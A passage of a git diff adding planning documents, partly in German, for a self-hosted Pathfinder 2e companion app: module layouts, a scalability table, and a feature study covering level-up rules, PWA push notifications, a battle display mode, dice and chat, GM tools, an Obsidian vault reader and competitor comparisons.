|
||||
| `server/src/app.module.ts` | A,C,D,G | Neue Module importieren (LevelingModule, PushModule, DiceModule, ChatModule, VaultModule) |
|
||||
| `server/src/modules/characters/characters.service.ts` | A | Neue Methoden `applyLevelUp`, `recomputeDerivedStats` |
|
||||
| `server/src/modules/characters/characters.gateway.ts` | A | Update-Type `'level_up_committed'` ergänzen |
|
||||
| `server/src/modules/battle/battle.gateway.ts` | E | Sub-Rooms (`:gm`, `:display`), neue Events `effect_*`, `turn_advanced` |
|
||||
| `server/src/modules/battle/battle.service.ts` | E | CRUD für `BattleEffect`, Turn-Pointer setzen |
|
||||
| `server/prisma/schema.prisma` | A,C,D,E,G | Neue Modelle ergänzen + `BattleSession.turnTokenId`, `BattleToken.effects` |
|
||||
| `client/src/App.tsx` | E,G | Neue Routen `/battle/display`, `/vault`, `/vault/*` |
|
||||
| `client/vite.config.ts` | B | `vite-plugin-pwa`-Konfig |
|
||||
| `client/public/manifest.webmanifest` | B | Neu anlegen |
|
||||
| `client/src/features/auth/hooks/use-auth-store.ts` | B | Bei `logout()` SW-Cache leeren |
|
||||
| `client/src/features/characters/components/character-sheet-page.tsx` | A | „Stufe steigen"-Button + Wizard-Mount |
|
||||
| `client/src/features/battle/components/battle-page.tsx` | E | Initiative-Tracker mounten, Effects-Toolbar, „Display öffnen"-Button |
|
||||
| `client/src/shared/lib/api.ts` | A,C,D,G | Neue API-Calls (Leveling, Push, Dice, Chat, Vault) |
|
||||
| `client/src/shared/types/index.ts` | A,C,D,E,G | Neue Interfaces |
|
||||
|
||||
### Net-neue Dateien (zentrale Übersicht)
|
||||
|
||||
```
|
||||
server/src/modules/leveling/
|
||||
leveling.module.ts, leveling.controller.ts, leveling.service.ts
|
||||
dto/start-level-up.dto.ts, dto/update-draft.dto.ts
|
||||
|
||||
server/src/modules/push/
|
||||
push.module.ts, push.controller.ts, push.service.ts
|
||||
dto/subscribe.dto.ts
|
||||
|
||||
server/src/modules/dice/
|
||||
dice.module.ts, dice.controller.ts, dice.service.ts, dice.gateway.ts
|
||||
utils/parse-pf2e-notation.ts (server-seitig autoritativ)
|
||||
dto/roll.dto.ts
|
||||
|
||||
server/src/modules/chat/
|
||||
chat.module.ts, chat.controller.ts, chat.service.ts, chat.gateway.ts
|
||||
dto/send-message.dto.ts
|
||||
|
||||
server/src/modules/vault/
|
||||
vault.module.ts, vault.controller.ts, vault.service.ts
|
||||
utils/wikilink-resolver.ts, utils/webdav-client.ts (oder Adapter pro Transport)
|
||||
dto/vault-config.dto.ts
|
||||
|
||||
client/src/features/leveling/
|
||||
components/level-up-wizard.tsx + step-*.tsx
|
||||
hooks/use-level-up-session.ts
|
||||
index.ts
|
||||
|
||||
client/src/features/push/
|
||||
components/notification-permission-prompt.tsx
|
||||
hooks/use-push-subscription.ts
|
||||
index.ts
|
||||
|
||||
client/src/features/dice/
|
||||
components/dice-roller.tsx, dice-log.tsx
|
||||
utils/parse-pf2e-notation.ts (Client-Spiegel, nur fürs Pre-Validation)
|
||||
index.ts
|
||||
|
||||
client/src/features/chat/
|
||||
components/chat-panel.tsx, message-card.tsx
|
||||
index.ts
|
||||
|
||||
client/src/features/vault/
|
||||
components/vault-browser-page.tsx, vault-note-page.tsx, note-renderer.tsx
|
||||
utils/wikilink-plugin.ts
|
||||
hooks/use-vault-note.ts
|
||||
index.ts
|
||||
|
||||
client/src/features/battle/components/
|
||||
battle-display-page.tsx, initiative-tracker.tsx, effect-pill.tsx, effect-add-modal.tsx
|
||||
|
||||
client/src/shared/hooks/
|
||||
use-dice-socket.ts, use-chat-socket.ts, use-pwa-update.ts
|
||||
|
||||
client/src/shared/lib/
|
||||
sw-cache-bridge.ts
|
||||
|
||||
client/src/sw/
|
||||
service-worker.ts (Workbox-customized)
|
||||
|
||||
client/public/
|
||||
manifest.webmanifest
|
||||
icons/pwa-192.png, pwa-512.png, pwa-maskable-512.png
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 9. Scalability-Betrachtung (kontextspezifisch)
|
||||
|
||||
| Concern | Single Group (4-6 User, aktueller Use-Case) | 10 Gruppen (selbst-gehostete Forks) | Anmerkung |
|
||||
|---|---|---|---|
|
||||
| WebSocket-Connections | <30 gleichzeitig | <300 | Socket.io single-server reicht klar |
|
||||
| DiceRoll-Volumen | ~200/Session, ~2k/Monat | ~20k/Monat | Index `(campaignId, createdAt)` reicht; kein Archivierungsdruck |
|
||||
| ChatMessage-Volumen | <1k/Session | <10k/Monat | identisch |
|
||||
| PushSubscription-Volumen | ~10 Devices | ~100 | Trivial |
|
||||
| Vault-Cache-Größe | <100MB pro Campaign | <1GB | DB-storage, alternativ FS-cache; bei >1GB FS-Cache erwägen |
|
||||
| Multi-Tenant | nicht gefordert (Out-of-Scope) | nicht gefordert | self-hosted-Modell |
|
||||
|
||||
Keine horizontale Skalierung nötig. Single-Server reicht. Bei späterem Multi-Tenant müsste Socket.io mit Redis-Adapter laufen — explizit Out-of-Scope.
|
||||
|
||||
---
|
||||
|
||||
## 10. Sources
|
||||
|
||||
- `.planning/codebase/ARCHITECTURE.md` — Bestand der Layer und Patterns (Primärquelle, HIGH)
|
||||
- `.planning/codebase/STRUCTURE.md` — Verzeichnis-Konventionen (HIGH)
|
||||
- `.planning/codebase/INTEGRATIONS.md` — Auth, WebSocket, Pathbuilder (HIGH)
|
||||
- `.planning/PROJECT.md` — Constraints, Out-of-Scope, Validated/Active (HIGH)
|
||||
- `server/prisma/schema.prisma` — bestehende Modelle, Beziehungen (HIGH)
|
||||
- `server/src/modules/characters/characters.gateway.ts`, `battle/battle.gateway.ts` — bestehende Gateway-Patterns (HIGH)
|
||||
- `server/src/app.module.ts` — Modul-Wiring (HIGH)
|
||||
- `client/src/App.tsx` — Routing-Konvention (HIGH)
|
||||
- Web Push Spec / VAPID — RFC 8030 + RFC 8292 (Standard, MEDIUM, allgemein bekannt)
|
||||
- Workbox/vite-plugin-pwa — etabliertes Pattern für Vite-Apps (MEDIUM)
|
||||
- Socket.io Rooms + Namespaces — bekannte Standards (HIGH, identisch mit Bestandsnutzung)
|
||||
|
||||
---
|
||||
|
||||
*Architecture research: 2026-04-27 — additive design, respektiert NestJS-Modul-Schnitt und React-Feature-Schnitt des Bestands.*
|
||||
313
.planning/research/FEATURES.md
Normal file
313
.planning/research/FEATURES.md
Normal file
@@ -0,0 +1,313 @@
|
||||
# Feature Research
|
||||
|
||||
**Domain:** PF2e TTRPG companion app — next milestone (Level-Up + PWA + Battle-Display + Dice/Chat + GM Live Tools + Obsidian Vault)
|
||||
**Researched:** 2026-04-27
|
||||
**Confidence:** HIGH (PF2e rules + PWA tech are HIGH; competitor UX details are MEDIUM)
|
||||
|
||||
## Scope Note
|
||||
|
||||
This is a **subsequent milestone** for an existing app. Already-shipped features (HP, conditions, skills, saves, inventory, alchemy, rest, alchemy-tab, character-import, battle-MVP, GM-library, JWT-auth) are NOT re-evaluated here. The categorization below applies **only to the new milestone scope**.
|
||||
|
||||
The bar for "table stakes" is calibrated to the actual user — the **own gaming group at the table**. Things that would be table-stakes for a public SaaS (multi-tenant onboarding, account recovery flows, etc.) are not table-stakes here.
|
||||
|
||||
## Feature Landscape
|
||||
|
||||
### Table Stakes (Without these, the milestone fails its goal)
|
||||
|
||||
#### Level-Up System
|
||||
|
||||
| Feature | Why Expected | Complexity | Notes |
|
||||
|---------|--------------|------------|-------|
|
||||
| **Attribute Boosts at level 5/10/15/20** (4 free boosts; +2 to four different attributes, capped at +4 / 18) | PF2e core rule, every PF2e tool implements it | MEDIUM | Trigger HP-Max recompute on CON-Boost; +1 trained skill on INT-Boost |
|
||||
| **Class feat at every even level** (2, 4, 6, 8, 10, 12, 14, 16, 18, 20) | PF2e core rule | HIGH | Filter by class + level + prerequisites; many feats have multi-condition prereqs (skill rank, other feat, ancestry) |
|
||||
| **Skill feat at every even level** (2, 4, 6, ...) | PF2e core rule | MEDIUM | Filter by skill rank prereq; some require Trained/Expert/Master/Legendary in named skill |
|
||||
| **General feat every 4 levels** (3, 7, 11, 15, 19) | PF2e core rule | MEDIUM | Skill feats ALSO count as general feats (one-way) |
|
||||
| **Skill increase at level 3 and every 2 levels thereafter** (3, 5, 7, 9, 11, 13, 15, 17, 19) | PF2e core rule, Rogues earlier/more | MEDIUM | Untrained→Trained, Trained→Expert (level 3+), Expert→Master (level 7+), Master→Legendary (level 15+) |
|
||||
| **Ancestry feat at level 5, 9, 13, 17** | PF2e core rule | MEDIUM | Filter by ancestry, heritage, prerequisites |
|
||||
| **Class features per class table** (e.g. Fighter Bravery at 3, Weapon Mastery at 5, etc.) | PF2e core rule, class-specific | HIGH | Per-class lookup table; some grant additional choices (e.g. specialization) |
|
||||
| **Prerequisite validation** (e.g. "Trained in Athletics required") | Without this it's not "regelkonform" | HIGH | Need to evaluate prerequisite expressions: skill rank, feat ownership, level, ancestry, deity, spellcasting tradition |
|
||||
| **Auto-recompute derived stats** (HP-Max, Save proficiency increases, AC proficiency, Class DC) | Core promise of "regelkonform" — values must be correct after Level-Up | HIGH | Class-specific proficiency progression tables; HP-Max = ancestry HP + (class HP + CON-Mod) × Level |
|
||||
| **Undo / Cancel before commit; commit creates change record** | Already in PROJECT.md as requirement; users will misclick | MEDIUM | Implement as draft state; on commit, write all changes atomically |
|
||||
| **Free Archetype variant rule** (extra archetype-only feat at every even level) | Group's preferred PF2e variant; Pathbuilder + Foundry's PF2e Leveler both support it | MEDIUM | Toggle per character; second feat slot, restricted to archetype feats only |
|
||||
| **Spellcaster slot/cantrip progression on Level-Up** | Spellcasters need correct slot tables to play | HIGH | Per-tradition progression; spell repertoire/preparation also needs increment for spontaneous casters |
|
||||
|
||||
#### PWA
|
||||
|
||||
| Feature | Why Expected | Complexity | Notes |
|
||||
|---------|--------------|------------|-------|
|
||||
| **Web App Manifest + Icons + Splash + Service Worker registration** | Without manifest, app can't be installed | LOW | Standard Vite PWA plugin (`vite-plugin-pwa`) handles boilerplate |
|
||||
| **Cache-first read of own character sheet (offline)** | "Always-on companion at the table" with flaky table Wi-Fi | MEDIUM | Cache GET responses for `/characters/:id`, `/equipment/:id`, `/feats/:id` etc.; show "offline" indicator |
|
||||
| **"Add to Home Screen" prompt** (Android automatic via `beforeinstallprompt`, iOS guided manual) | Without it users won't install and miss push | LOW | iOS needs in-app instruction overlay since no programmatic prompt — see PITFALLS |
|
||||
| **Web Push for GM→player ping** (turn alert, dice request, custom message) | Whole point of having a PWA at the table | HIGH | VAPID keys, Service Worker `push` event handler, Push subscription persisted per device, opt-in flow per user |
|
||||
|
||||
#### Multi-Screen Battle Display
|
||||
|
||||
| Feature | Why Expected | Complexity | Notes |
|
||||
|---------|--------------|------------|-------|
|
||||
| **Read-only Display-Mode route** (e.g. `/battle/:id/display`) | Existing battle page is GM-only mixed; table screen needs a "no controls" view | MEDIUM | Same WebSocket subscription, conditionally hide drag handles + controls; optimize layout for landscape table screen |
|
||||
| **Display-Mode auth model** (player or shared GM session, no controls) | Tisch-Display likely runs as a shared/auto-login terminal | MEDIUM | Either anonymous read-only via session token OR dedicated "display" pseudo-user with read-only role |
|
||||
| **Initiative Tracker as sortable list with current-turn highlight** | Currently only badges on tokens; players need to see "wer ist dran" at a glance from across the table | LOW-MEDIUM | Sorted list; large-font for table-display readability; "next" button on GM side; advances turn via WebSocket event |
|
||||
| **Token effects/conditions/auras on Display-Mode** | Players need to see "I'm flat-footed and frightened 2" without asking GM | MEDIUM | Already have conditions on character; need same model on tokens; per-token condition list rendered on/near token + in init list |
|
||||
| **Token add/remove broadcast as WebSocket event** (not just query-invalidate) | Currently mid-battle changes desync until refresh | LOW | Existing gateway pattern; add `token:added` / `token:removed` events |
|
||||
|
||||
#### Dice + Chat
|
||||
|
||||
| Feature | Why Expected | Complexity | Notes |
|
||||
|---------|--------------|------------|-------|
|
||||
| **In-app dice with PF2e notation (`1d20+7`, `2d6+3`)** | Primary play mechanic; no external dice tabs | MEDIUM | Use `@dice-roller/rpg-dice-roller` or `dice-notation-js`; standard d4/6/8/10/12/20/100 |
|
||||
| **Crit success / crit failure flagging** (PF2e: nat 20 / +10 / +0 / -10) | PF2e's defining mechanic — degree of success | MEDIUM | Compare result vs DC; degree-of-success calc lives in app (not in dice lib) |
|
||||
| **Roll log per campaign + per battle, visible to all** | Without log, contested rolls become arguments | LOW | Append-only log table; WebSocket broadcast on new roll |
|
||||
| **Roll attribution** (who rolled, what for, when) | Logs without attribution are useless | LOW | User + character + label (e.g. "Athletics Check") + timestamp |
|
||||
| **In-game chat per campaign + per battle** | GM/player coordination during play | LOW-MEDIUM | Append-only message table; same WebSocket pattern; rendered with roll embeds inline |
|
||||
|
||||
#### GM Live Tools
|
||||
|
||||
| Feature | Why Expected | Complexity | Notes |
|
||||
|---------|--------------|------------|-------|
|
||||
| **GM can set HP / damage / heal on player character** | Already infra exists; just needs GM-facing UI | LOW | Reuse existing `character:update` events; add GM permission check + "GM action" log entry |
|
||||
| **GM can add/remove/update conditions on player character** | Same | LOW | Reuse existing condition gateway events |
|
||||
| **GM can give item to player character** | Loot distribution | LOW | Reuse existing inventory events; pick from equipment DB |
|
||||
| **GM can adjust money (credits)** | Loot/cost management | LOW | Reuse existing money events |
|
||||
| **GM can send push/chat ping to specific player(s) or all** | "Du bist dran" workflow | MEDIUM | Combines push (Web Push) with in-app chat — see Pitfalls about double-delivery |
|
||||
|
||||
#### Obsidian Vault Read-Only
|
||||
|
||||
| Feature | Why Expected | Complexity | Notes |
|
||||
|---------|--------------|------------|-------|
|
||||
| **Markdown rendering** (CommonMark + GFM tables/code blocks/images) | Bare-minimum vault reader | LOW | `react-markdown` + `remark-gfm` + `rehype-sanitize` |
|
||||
| **Wikilinks `[[Note]]` and `[[Note\|Alias]]`** | Obsidian's primary linking syntax — without this, every link is broken | MEDIUM | `@portaljs/remark-wiki-link` or `@flowershow/remark-wiki-link` (handles shortest-path) |
|
||||
| **Image embeds `![[image.png]]`** | Notes are useless if maps/illustrations don't render | MEDIUM | Custom remark plugin or extension of wiki-link; serve via vault endpoint |
|
||||
| **Folder tree navigation** | Vaults aren't flat; navigation must mirror structure | LOW | Tree control over directory listing endpoint |
|
||||
| **Full-text search** | Vaults grow large; finding "the inn name" without search is painful | MEDIUM | Server-side grep-like or `flexsearch`-style index over markdown body; Postgres FTS is acceptable |
|
||||
| **Cache last-N read notes for offline** | "I want to look up that NPC" while at the table without Wi-Fi | MEDIUM | Service-Worker cache-on-read with LRU eviction; server stays source-of-truth |
|
||||
|
||||
### Differentiators (would make Dimension47 noticeably better than Pathbuilder/Foundry/Owlbear for this group)
|
||||
|
||||
| Feature | Value Proposition | Complexity | Notes |
|
||||
|---------|-------------------|------------|-------|
|
||||
| **German UI everywhere — including PF2e rules text** | Pathbuilder is English-only; Foundry's PF2e is partial-German with Babele/translation modules. Dimension47 already has a translation pipeline (Claude-API cached) | MEDIUM | Extend existing translation cache to feats and class-features text on Level-Up |
|
||||
| **One-screen, integrated experience** (character sheet ↔ battle ↔ vault notes ↔ chat) without context-switching apps | At the table users today juggle Pathbuilder + Discord + Obsidian + a dice-roller — all in one app reduces friction | MEDIUM | Architecture choice: deep-linking + state-preserving navigation; vault note can be opened side-by-side with character |
|
||||
| **PF2e dice with degree-of-success + auto-condition application** (e.g. "Frightened 1 on critical hit with X spell") | Most VTTs roll dice but leave degree-of-success and condition-application to player; auto-application removes one-step-per-attack friction | HIGH | Spell/attack-templates with embedded "on-hit"/"on-crit" effects; data model heavy — defer to v1.x |
|
||||
| **Animated transition: GM "Du bist dran" ping → player phone vibrates → in-app initiative-card pop-up** | Combines push + visual + haptic; nobody else does it well at-the-table because nobody else is PWA-first | MEDIUM | Layer Web Push + Vibration API + in-app modal |
|
||||
| **Battle-Display dark/cinematic mode** (large initiative card for active turn, dimmed for off-turn) | The table screen is part of the table aesthetic; sterile Foundry UI breaks immersion | LOW | CSS-only theme variant for `/battle/:id/display` route |
|
||||
| **Vault note → character "see also" chips** (note marked with frontmatter `npc: true` shows as hoverable chip in chat / battle) | Connects worldbuilding (Obsidian) to play (battle/chat) without manual lookup | HIGH | Frontmatter parsing + tag/type indexing; defer to v1.x |
|
||||
| **Roll history per character is exportable** (matches existing HTML-export ethos) | Group keeps session memory beyond runtime | LOW | Reuse export-character-html pattern |
|
||||
| **Offline-cached vault search** (FlexSearch index served as static asset for installed PWA) | Read-and-search Obsidian notes with zero connectivity | HIGH | Build-step or on-demand index download; defer to v1.x or call out as risky |
|
||||
| **GM can assign initiative roll-prompt** ("Roll Initiative for Perception" → all players get push + dice button pre-populated) | Removes 30-second "everyone roll initiative" coordination at the table | MEDIUM | Combines GM-tools + dice + push |
|
||||
|
||||
### Anti-Features (Commonly tempting, deliberately NOT building)
|
||||
|
||||
| Feature | Why Tempting | Why Problematic | Alternative |
|
||||
|---------|--------------|-----------------|-------------|
|
||||
| **Bidirectional Obsidian sync** (write-back from app to vault) | "Wouldn't it be great to edit notes from phone too" | Conflict resolution is its own product; group already uses Obsidian on desktop for editing | Read-only is explicitly in PROJECT.md Out of Scope |
|
||||
| **Offline editing with sync queue** (offline character changes that re-sync later) | Looks pro, modern PWAs have it | Two players editing same character offline = last-write-wins corruption; complexity vs value at the table is bad — game is online anyway | PROJECT.md already excludes this; offline is read-only |
|
||||
| **Native app (Capacitor / React Native wrapper)** | "Better push reliability, better install UX, app-store presence" | App-store overhead, build pipelines, two more codebases. PWA solves 95 % of need | PWA + careful Service-Worker; iOS Safari supports installed-PWA Push since 16.4 |
|
||||
| **In-app character creation from scratch** | "Why force users out to Pathbuilder?" | Pathbuilder is a 5-year-mature character builder; rebuilding it duplicates years of work for one-time-per-character benefit | Pathbuilder import stays. Level-Up in app handles ongoing changes |
|
||||
| **Generic VTT (other systems, D&D 5e, etc.)** | "More users" | Self-hosted for own group; data model is PF2e-specific (action-economy, proficiency tiers, archetypes); generalizing kills sharpness | Keep PF2e-only |
|
||||
| **Public multi-tenant SaaS / signup flow** | Default mental model for "web app" | Self-hosted for own group; account-onboarding is 0-value | No public registration; ADMIN provisions accounts |
|
||||
| **Presence indicators** ("Alex is viewing the map", "Spieler X tippt...") | Social-app default | Real value tiny vs WebSocket complexity, especially with mobile screen-locks | PROJECT.md already excludes this |
|
||||
| **Fog of War on battle map** | Owlbear/Foundry have it | Group plays in-person with 3D minis on a table screen; fog of war with a flat overhead in-person doesn't make sense | Already out-of-scope in PROJECT.md |
|
||||
| **Voice chat / video** | Discord-replacement temptation | Discord works fine; reinventing it costs a milestone for zero gain | Use existing Discord |
|
||||
| **3D dice physics** (rolling animation, ringtone) | Feels premium | Burns CPU on mobile, distracts from in-person play, every player has real dice on the table anyway | Plain text "rolled 17" with crit-color highlight |
|
||||
| **Real-time collaborative vault editing** (Obsidian Live-style) | Trendy | Group edits Obsidian on desktop; collaborative-CRDT for Markdown is a quarter-of-engineering for unclear gain | Read-only stays read-only |
|
||||
| **AI-generated NPCs / encounters** | LLM hype | Out of scope; group's GM has Obsidian for prep | Vault read is enough |
|
||||
| **Dynamic lighting** (Foundry's flagship feature) | "Looks like a real VTT" | In-person with table screen and minis; lighting is the room's lighting | No |
|
||||
| **Token vision / line-of-sight calc** | Same | Same — minis on a table | No |
|
||||
| **Auto-applying attack rolls to enemy HP** | "PF2e is so click-heavy, just automate it!" | High data-model cost (every attack-feat needs structured "on hit"/"on crit"/save-DC linking); error-recovery is messy when GM disagrees | GM applies HP changes manually via Live-Tools — already in-scope |
|
||||
| **Marketplace for community NPCs / maps** | "GMs would love to share" | Group of 1 GM + N players; library is internal; sharing is out-of-scope (self-hosted, single-tenant) | GM-Library is internal-only |
|
||||
|
||||
## Feature Dependencies
|
||||
|
||||
```
|
||||
PWA Manifest + Service Worker
|
||||
├──enables──> Web Push
|
||||
│ └──used-by──> GM "Du bist dran" ping
|
||||
│ └──used-by──> Dice-roll-request push
|
||||
└──enables──> Offline-cache
|
||||
├──used-by──> Character sheet offline read
|
||||
└──used-by──> Vault notes offline read
|
||||
|
||||
Web Push subscription endpoint persistence
|
||||
└──requires──> Per-user device-list table (server-side)
|
||||
|
||||
Level-Up system
|
||||
├──requires──> Feat-prerequisite evaluator (DSL or interpreter)
|
||||
├──requires──> Class-progression-table data (per-class proficiency by level)
|
||||
├──requires──> Boost-cap recomputation (HP, save bonuses, AC)
|
||||
└──enables──> "Level" WebSocket event already exists, Level-Up can broadcast
|
||||
|
||||
Battle Display-Mode read-only route
|
||||
├──requires──> Auth model decision (anon-token vs display-pseudo-user)
|
||||
├──requires──> Token-effect data model (new schema)
|
||||
└──requires──> WebSocket event for token-add/remove (not query-invalidate)
|
||||
|
||||
Initiative Tracker upgrade
|
||||
└──depends-on──> Existing battle-session schema; pure UI + small server change
|
||||
|
||||
Dice roller
|
||||
├──requires──> Roll-log table (campaign + battle scoped)
|
||||
├──enables──> Chat with embedded rolls
|
||||
└──enables──> GM "request roll" feature (combines push + dice)
|
||||
|
||||
In-game Chat
|
||||
├──requires──> Message table (campaign + battle scoped)
|
||||
├──depends-on──> Existing JWT/role for whisper/visibility
|
||||
└──integrates-with──> Dice-roll-log (rolls render inline)
|
||||
|
||||
GM Live-Tools UI
|
||||
└──reuses──> All existing character WebSocket events (HP, conditions, items, money)
|
||||
└──just-needs──> GM-facing UI surface (no new server events)
|
||||
|
||||
Obsidian Vault
|
||||
├──requires──> Vault-endpoint protocol decision (HTTP-served-files vs Git-pull vs custom)
|
||||
├──requires──> Markdown renderer (react-markdown + remark-wiki-link)
|
||||
├──requires──> Image proxy for ![[image.png]]
|
||||
└──enables──> Vault-search (FlexSearch or Postgres FTS)
|
||||
|
||||
GM Push-Ping → Player feature
|
||||
├──requires──> Web Push (PWA prerequisite)
|
||||
├──requires──> In-game Chat (so the message has a destination)
|
||||
└──requires──> GM Live-Tools UI (the trigger surface)
|
||||
```
|
||||
|
||||
### Dependency Notes
|
||||
|
||||
- **Web Push depends on PWA Manifest + Service Worker.** Cannot ship Push before installable PWA exists.
|
||||
- **iOS Push requires installed-to-Home-Screen PWA** (Safari 16.4+). Test plan must include "is the PWA actually installed?" check.
|
||||
- **Level-Up auto-recompute depends on per-class progression tables.** These are not currently in the DB schema (the existing app reads class-features from Pathbuilder import only, no progression model). New table needed: class progression by level, per-class.
|
||||
- **Free Archetype is a per-character toggle**, not a global config. UI must show this toggle on character creation/edit.
|
||||
- **GM-Live-Tools requires no new server events** — everything reuses existing character/inventory/condition/money WebSocket events. Risk: existing events probably don't enforce "is the actor a GM in this campaign" — needs server-side authorization audit.
|
||||
- **Display-Mode auth needs a decision early.** Anonymous-token vs pseudo-user has long downstream effects on chat/roll attribution from the table screen.
|
||||
- **Vault endpoint protocol is unresolved.** PROJECT.md says "selbst-gehosteter Endpoint, Protokoll noch zu wählen" — research/spike needed before vault phase.
|
||||
|
||||
## MVP Definition
|
||||
|
||||
(For the new milestone — not the whole app)
|
||||
|
||||
### Launch With (milestone v1)
|
||||
|
||||
Minimum viable to ship the milestone:
|
||||
|
||||
- [ ] **Level-Up regelkonform** — all six choice points (boost / class feat / skill feat / general feat / skill increase / ancestry feat / class feature) with prerequisite validation, auto-recompute, undo-before-commit, Free Archetype variant. Spellcaster slot/cantrip progression included.
|
||||
- [ ] **PWA Manifest + Service Worker + Add-to-Home-Screen flow** — Android automatic, iOS guided
|
||||
- [ ] **Cache-first offline read** for character sheet, inventory, feats, actions, alchemy, vault notes (already-visited only)
|
||||
- [ ] **Web Push for GM→player ping** — VAPID keys, subscription persistence, GM-trigger UI
|
||||
- [ ] **Battle Display-Mode route** — read-only, large initiative tracker, token effects/conditions visible
|
||||
- [ ] **Token-effect data model + GM editor** — per-token list of named effects with optional duration
|
||||
- [ ] **Token add/remove WebSocket event** — convert existing query-invalidate
|
||||
- [ ] **Initiative Tracker upgrade** — sortable list, current-turn highlight, GM next-turn button
|
||||
- [ ] **In-app dice with PF2e notation + degree-of-success + roll log** per campaign and battle, broadcast via WebSocket
|
||||
- [ ] **In-game chat** per campaign and battle, with inline roll embeds
|
||||
- [ ] **GM Live-Tools UI** — set HP/conditions/items/money on player character via existing events; send-message-to-player UI
|
||||
- [ ] **Obsidian Vault read-only browser** — folder tree, file read, markdown + wikilinks + image embeds, full-text search, last-N offline-cached
|
||||
- [ ] **German translation cache extension** for new feat-prereq text and class-feature descriptions
|
||||
|
||||
### Add After Milestone (v1.x — defer if scope tight)
|
||||
|
||||
- [ ] **Animated push-ping arrival** with vibration + in-app initiative-card overlay
|
||||
- [ ] **Battle Display cinematic theme** — dim off-turn, large active-turn card
|
||||
- [ ] **GM "request roll" from player** — combined push + pre-populated dice button
|
||||
- [ ] **Roll-history export** to HTML/PDF
|
||||
- [ ] **Vault frontmatter NPC chips** — type-tagged notes auto-link in chat/battle
|
||||
- [ ] **Level-up history view** on character — what was chosen at each level
|
||||
|
||||
### Future Consideration (post-milestone)
|
||||
|
||||
- [ ] **Auto-condition application from spells/attacks** — heavy data-model cost, defer until Level-Up + Battle stabilize
|
||||
- [ ] **Vault offline FlexSearch index** — full vault offline-search; only matters if vault grows large
|
||||
- [ ] **Background-sync of stale character data** — limited iOS support; complex; nice-to-have
|
||||
- [ ] **Multi-language UI beyond German** — only relevant if new players join who don't read German
|
||||
|
||||
## Feature Prioritization Matrix
|
||||
|
||||
| Feature | User Value | Implementation Cost | Priority |
|
||||
|---------|------------|---------------------|----------|
|
||||
| Level-Up: 6 choice points + validation + auto-recompute | HIGH | HIGH | P1 |
|
||||
| Level-Up: Free Archetype variant | HIGH (group uses it) | MEDIUM | P1 |
|
||||
| Level-Up: Spellcaster progression | HIGH (group has casters) | HIGH | P1 |
|
||||
| PWA installable + offline character read | HIGH | MEDIUM | P1 |
|
||||
| Web Push GM→player | HIGH | HIGH | P1 |
|
||||
| Battle Display-Mode read-only route | HIGH | MEDIUM | P1 |
|
||||
| Initiative tracker upgrade | HIGH | LOW-MEDIUM | P1 |
|
||||
| Token effects/conditions | HIGH | MEDIUM | P1 |
|
||||
| Token add/remove WebSocket | MEDIUM | LOW | P1 |
|
||||
| Dice roller + roll log | HIGH | MEDIUM | P1 |
|
||||
| In-app chat | HIGH | LOW-MEDIUM | P1 |
|
||||
| GM Live-Tools (HP/conditions/items/money) | HIGH | LOW | P1 |
|
||||
| Obsidian read + wikilinks + images | HIGH | MEDIUM | P1 |
|
||||
| Vault search | MEDIUM-HIGH | MEDIUM | P1 |
|
||||
| Vault offline-cache (last-N) | MEDIUM | MEDIUM | P1 |
|
||||
| Battle cinematic theme | MEDIUM | LOW | P2 |
|
||||
| Animated push-ping with vibration | MEDIUM | MEDIUM | P2 |
|
||||
| GM "request roll" feature | MEDIUM-HIGH | MEDIUM | P2 |
|
||||
| Level-up history view | MEDIUM | LOW | P2 |
|
||||
| Vault frontmatter NPC chips | MEDIUM | HIGH | P3 |
|
||||
| Auto-condition from spells | MEDIUM | HIGH | P3 |
|
||||
| Vault offline FlexSearch full-index | LOW-MEDIUM | HIGH | P3 |
|
||||
|
||||
## PF2e-Specific Complexity Notes (Level-Up)
|
||||
|
||||
The Level-Up feature is structurally the most complex single piece in this milestone. Worth calling out:
|
||||
|
||||
1. **Six independent choice axes per level** (not all triggered every level): attribute boost, class feat, skill feat, general feat, skill increase, ancestry feat, class feature. Each has its own filter logic.
|
||||
2. **Prerequisites are a mini-DSL.** Examples:
|
||||
- `"Trained in Athletics"` → simple skill-rank check
|
||||
- `"Strength 14, trained in Intimidation"` → composite check
|
||||
- `"Power Attack, level 4"` → feat ownership + level
|
||||
- `"Cleric"` → class check
|
||||
- Roughly 200+ feats have non-trivial prereqs; treating each as a free-text string and asking the GM is the cheap way out — but kills the "regelkonform" promise.
|
||||
3. **Class progression tables vary widely.** Fighter has 5 weapon-specialization steps; Wizard has school-specific arcana progressions; Rogue has skill-increases at every level (not every other). No single shared table.
|
||||
4. **Boost rules have an "above 18" cap rule.** Each boost is +2, but if attribute is already 18+, only +1. This is one of the most frequently-misunderstood PF2e rules — must be implemented correctly.
|
||||
5. **Free Archetype variant** doubles the class-feat slots but restricts to archetype feats only AFTER dedication is taken. Once a dedication is chosen, the slot can take any feat from THAT archetype's list.
|
||||
6. **Skill-increase scaling caps.** Trained→Expert allowed at level 3+; Expert→Master at level 7+; Master→Legendary at level 15+. Pre-cap selections must be filtered out.
|
||||
7. **Multiple-class-feature characters.** A Champion at level 9 might have: Champion's Reaction, Deity's Domain Spell, Divine Ally, an Ancestry feat slot, a Class feat slot, plus a Free Archetype slot. UI needs to make this navigable, not overwhelming.
|
||||
|
||||
**Recommendation:** Phase Level-Up as its own implementation phase. Treat prerequisite-DSL as a sub-deliverable. Plan for an "escape hatch" where a non-evaluated prerequisite shows as a warning ("kann nicht automatisch geprüft werden") rather than a hard block, so unusual feats don't break the flow.
|
||||
|
||||
## Competitor Feature Analysis
|
||||
|
||||
| Feature | Pathbuilder 2e | Wanderer's Guide | Foundry VTT (PF2e) | Owlbear Rodeo | Our Approach |
|
||||
|---------|----------------|------------------|---------------------|---------------|--------------|
|
||||
| Level-Up | Full, mature, English-only | Full, web-based, English-only | Full via PF2e Leveler / PF2e Level-Up Wizard modules | N/A (no character system) | Full, German, integrated, with Free Archetype |
|
||||
| Dice roller | Basic | Basic | Excellent (PF2e-specific) | Built-in, simple | PF2e degree-of-success + roll log + chat embed |
|
||||
| Chat | None | None | Yes, with whisper/blind | Yes, simple | Yes, with roll embed + push-ping |
|
||||
| Battle map | None | None | Heavy, feature-rich (lighting, vision, fog) | Lightweight, fast, in-person-friendly | Lightweight + dedicated table-display mode |
|
||||
| Player display screen | N/A | N/A | Possible via second browser, not optimized | Cast feature (Chromecast/separate monitor) — fully read-only player view | Dedicated `/battle/:id/display` route, read-only, optimized for embedded table screen |
|
||||
